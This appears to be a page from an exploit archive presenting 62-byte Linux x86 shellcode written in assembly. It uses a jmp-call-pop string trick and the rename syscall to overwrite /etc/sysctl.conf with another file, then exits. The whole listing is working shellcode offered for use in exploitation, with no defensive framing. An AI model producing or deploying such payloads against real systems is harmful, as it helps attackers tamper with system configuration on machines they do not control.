Linux/x86 Rename syscall on file - 62 bytes



EKU-ID: 5677 CVE: OSVDB-ID:
Author: expku Published: 2016-07-11 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


; rename syscall for x86 systems
BITS 32
  
jmp short strings
  
code:
pop             esi
xor             eax,eax
mov byte        [esi + 13],al           ; null terminate arg 1 string
mov byte        [esi + 30],al           ; null terminate arg 2 string
mov byte        al,38                   ; syscall for 'rename'
lea             ebx,[esi]               ; load address of /etc/somefile (esi) into ebx
lea             ecx,[esi + 14]          ; load address of /etc/sysctl.conf (esi + 14) into ecx
int             0x80
  
mov             al,0x01
xor             ebx,ebx
int             0x80
  
strings:
call            code
db              "/etc/somefile#/etc/sysctl.conf#"